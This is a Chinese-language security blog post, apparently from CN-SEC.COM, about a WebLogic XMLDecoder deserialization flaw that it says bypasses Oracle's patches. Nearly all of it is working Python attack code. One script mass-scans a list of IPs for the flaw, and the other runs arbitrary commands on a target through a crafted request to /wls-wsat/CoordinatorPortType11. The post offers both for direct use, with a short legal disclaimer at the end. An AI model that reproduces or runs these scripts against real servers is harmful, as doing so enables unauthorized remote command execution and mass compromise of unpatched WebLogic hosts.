利用点是weblogic的xmldecoder反序列化漏洞,只是构造巧妙的利用链对Oracle官方历年来对这个漏洞点的补丁绕过
主要来还是懒 废话不多说直接上exp和poc 吧 poc并不通用 更多用exp吧
IP填入ip.txt 后用poc检测
POC
import requests import sys import time import random import threading def exec_cmd(ip,cmd): url="http://"+ip+"/wls-wsat/CoordinatorPortType11" headers={ 'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)', 'CMD' : cmd, 'SOAPAction':'""', 'Content-Type':'text/xml' } with open('payload.txt','rb') as f : payloads=f.read() r=requests.post(url,headers=headers,data=payloads,timeout=5) return r.content.decode() def test_poc(ip): check=str(int(time.time())+int(random.uniform(1000,9999))) out=exec_cmd(ip,'echo '+check) if check in out: print('vul finds:'+ip) def main(): print("put ips in ip.txt ") with open('ip.txt') as f: for line in f.readlines(): try: test_poc(line) except : pass print("End") if __name__ == '__main__': main()。
exp
import requests import sys def exec_cmd(ip,cmd): url="http://"+ip+"/wls-wsat/CoordinatorPortType11" headers={ 'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)', 'CMD' : cmd, 'SOAPAction':'""', 'Content-Type':'text/xml' } with open('payload.txt','rb') as f : payloads=f.read() r=requests.post(url,headers=headers,data=payloads) return r.content.decode() def main(): if len(sys.argv)<3: print('usage:exp.py www.0dayhack.com:8080 whoami') sys.exit() ip=sys.argv[1] cmd=sys.argv[2] out=exec_cmd(ip,cmd) print(out) if __name__ == '__main__': main()
注意:
只支持Py3
ip.txt是放检测的
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论